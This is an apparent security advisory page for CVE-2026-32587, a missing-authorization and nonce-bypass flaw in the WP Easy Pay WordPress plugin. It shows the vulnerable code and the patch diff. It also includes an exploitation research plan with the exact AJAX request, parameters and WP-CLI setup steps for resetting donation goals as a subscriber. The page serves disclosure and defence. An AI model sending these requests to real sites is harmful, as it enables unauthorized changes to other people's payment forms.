CVE-2026-32587

WP Easy Pay – Payment and Donation form Builder for Square <= 4.2.11 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
4.2.12
Patched in
12d
Time to patch

Description

The WP Easy Pay – Payment and Donation form Builder for Square plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.2.11. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.2.11
PublishedMarch 16, 2026
Last updatedMarch 27, 2026
Affected pluginwp-easy-pay

What Changed in the Fix

Changes introduced in v4.2.12

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: WP Easy Pay – Missing Authorization (CVE-2026-32587) ## 1. Vulnerability Summary The **WP Easy Pay – Payment and Donation form Builder for Square** plugin (<= 4.2.11) contains a missing authorization vulnerability in its AJAX handlers. Specifically, the function `wpep_…

Show full research plan

Exploitation Research Plan: WP Easy Pay – Missing Authorization (CVE-2026-32587)

1. Vulnerability Summary

The WP Easy Pay – Payment and Donation form Builder for Square plugin (<= 4.2.11) contains a missing authorization vulnerability in its AJAX handlers. Specifically, the function wpep_reset_donation_goal registered via the wp_ajax_wpep_reset_donation_goal action fails to perform a capability check (e.g., current_user_can( 'manage_options' )). This allows any authenticated user, including those with Subscriber roles, to reset the donation goal status for any payment form. Additionally, the nonce verification in this function is conditionally implemented, allowing for a complete bypass if the nonce parameter is omitted.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpep_reset_donation_goal
  • Method: POST
  • Authentication: Required (Subscriber-level or higher)
  • Vulnerable Parameter: form_id (The ID of the target wp_easy_pay post)
  • Bypass Parameter: donation_goal_nonce (Omit this to bypass the broken nonce check)

3. Code Flow

  1. Entry Point: An authenticated user sends a POST request to admin-ajax.php with action=wpep_reset_donation_goal.
  2. Hook Registration: In wpep-setup.php, the action is registered:
    add_action( 'wp_ajax_wpep_reset_donation_goal', 'wpep_reset_donation_goal' );
  3. Vulnerable Function: The execution moves to wpep_reset_donation_goal() in wpep-setup.php.
  4. Broken Nonce Check (lines 55-57):
    if ( isset( $_POST['donation_goal_nonce'] ) && ! wp_verify_nonce( ... ) ) {
        exit;
    }
    
    If the donation_goal_nonce parameter is missing from the request, the isset() check returns false, short-circuiting the logic and bypassing the wp_verify_nonce call entirely.
  5. Missing Authorization: No current_user_can() check exists before the state-changing operation.
  6. Data Sink (lines 60-61):
    update_post_meta( sanitize_text_field( wp_unslash( $_POST['form_id'] ) ), 'wpep_donation_goal_achieved', 0 );
    
    The plugin updates the meta value wpep_donation_goal_achieved to 0 for the provided form_id.

4. Nonce Acquisition Strategy

The vulnerability features a Conditional Nonce Bypass.

  • To exploit this, do not provide a nonce.
  • By omitting the donation_goal_nonce parameter, the isset($_POST['donation_goal_nonce']) check evaluates to false, and the function proceeds to the update logic.
  • If the bypass were fixed but the authorization check remained missing, the nonce could be found in the admin dashboard for the wp_easy_pay post type, localized under the variable name wpep_hide_elements (inferred from assets/backend/js/wpep_backend_scripts.js).

5. Exploitation Strategy

Step 1: Create a Subscriber User

Use WP-CLI to create a low-privileged user to demonstrate the unauthorized access.

wp user create attacker attacker@example.com --role=subscriber --user_pass=password123

Step 2: Identify/Setup Target Form

Identify a form ID (post type wp_easy_pay). If none exists, create one and set its goal to "achieved".

# Create form
FORM_ID=$(wp post create --post_type=wp_easy_pay --post_title="Donation Form" --post_status=publish --porcelain)
# Set goal as achieved (1)
wp post meta update $FORM_ID wpep_donation_goal_achieved 1

Step 3: Send Malicious AJAX Request

Send a POST request as the Subscriber user. Crucially, omit the nonce.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • Cookie: [Subscriber Cookies]
  • Body: action=wpep_reset_donation_goal&form_id=[FORM_ID]

6. Test Data Setup

  1. Plugin Installation: Ensure WP Easy Pay <= 4.2.11 is active.
  2. Form Creation: Use the Example Form created on activation or manually create a wp_easy_pay post.
  3. State Setup: Manually set the meta wpep_donation_goal_achieved to 1 for the target post ID.
  4. User Creation: Create a user with the subscriber role.

7. Expected Results

  • Response Code: 200 OK
  • Response Body: done
  • Database Effect: The post_meta value for wpep_donation_goal_achieved associated with the form_id should be changed from 1 to 0.

8. Verification Steps

After the HTTP request, verify the meta change using WP-CLI:

wp post meta get [FORM_ID] wpep_donation_goal_achieved
# Expected Output: 0

9. Alternative Approaches

If the plugin version has a more robust nonce check, look for other AJAX actions registered in wpep-setup.php or wp-easy-pay.php. The JS file references wpep_square_products_popup and wpep_square_products_search.

  • Target: wpep_square_products_popup
  • Method: POST
  • Action: wpep_square_products_popup
  • Nonce Key: square_product_nonce
  • Localization Object: wpep_hide_elements
  • Potential Impact: Information disclosure of Square product inventory/API metadata.

To find the nonce for this alternative:

  1. Navigate to a page where the Square product popup is active (likely the form editor).
  2. Execute browser_eval("jQuery('#square_product_nonce').val()").
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Easy Pay plugin for WordPress is vulnerable to unauthorized access and CSRF-like exploitation due to missing capability checks and a flawed nonce verification logic in its AJAX handler for resetting donation goals. Authenticated attackers with Subscriber-level access or higher can reset the donation goal status of any form by sending a request while omitting the nonce parameter to bypass the validation check.

Vulnerable Code

// wpep-setup.php lines 53-62
function wpep_reset_donation_goal() {

	if ( isset( $_POST['donation_goal_nonce'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['donation_goal_nonce'] ) ), 'donation-goal-nonce' ) ) {
		exit;
	}

	if ( isset( $_POST['form_id'] ) && ! empty( $_POST['form_id'] ) ) {
		update_post_meta( sanitize_text_field( wp_unslash( $_POST['form_id'] ) ), 'wpep_donation_goal_achieved', 0 );
		wp_die( 'done' );
	}
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-easy-pay/4.2.11/wpep-setup.php	2025-12-09 09:26:28.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-easy-pay/4.2.12/wpep-setup.php	2026-03-02 09:29:12.000000000 +0000
@@ -41,21 +41,31 @@
 /**
  * Resets the donation goal achieved status for a specified form.
  *
- * This function checks for a valid nonce and form ID in the request, and if both are valid,
- * it updates the donation goal status (`wpep_donation_goal_achieved`) for the specified form ID to 0.
+ * Validates nonce and form ID; then updates wpep_donation_goal_achieved to 0.
  *
- * @return void Outputs 'done' and terminates script execution if successful.
+ * @return void Sends 'done' on success or exits with error status on failure.
  */
 function wpep_reset_donation_goal() {
 
-	if ( isset( $_POST['donation_goal_nonce'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['donation_goal_nonce'] ) ), 'donation-goal-nonce' ) ) {
-		exit;
+	// Require nonce (prevents bypass by omitting donation_goal_nonce parameter).
+	if (
+		! isset( $_POST['donation_goal_nonce'] ) || // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce verified in wp_verify_nonce() below.
+		! wp_verify_nonce(
+			sanitize_text_field( wp_unslash( $_POST['donation_goal_nonce'] ) ), // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by sanitize_text_field().
+			'donation-goal-nonce'
+		)
+	) {
+		wp_die( 'Invalid nonce', 403 );
 	}
 
-	if ( isset( $_POST['form_id'] ) && ! empty( $_POST['form_id'] ) ) {
-		update_post_meta( sanitize_text_field( wp_unslash( $_POST['form_id'] ) ), 'wpep_donation_goal_achieved', 0 );
-		wp_die( 'done' );
+	$form_id = isset( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated -- Validated via absint().
+	if ( 0 === $form_id ) {
+		wp_die( 'Missing form ID', 400 );
 	}
+
+	update_post_meta( $form_id, 'wpep_donation_goal_achieved', 0 );
+
+	wp_die( 'done' );
 }

Exploit Outline

The exploit targets the `wpep_reset_donation_goal` AJAX action. An authenticated user (Subscriber or higher) sends a POST request to `/wp-admin/admin-ajax.php` with the parameter `action=wpep_reset_donation_goal` and the target `form_id`. Because the original code only checks the nonce if the `donation_goal_nonce` parameter is present in the request, the attacker simply omits that parameter to bypass verification. Since there is no `current_user_can()` check, the backend proceeds to update the `wpep_donation_goal_achieved` post meta for the specified form, resetting its progress state.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.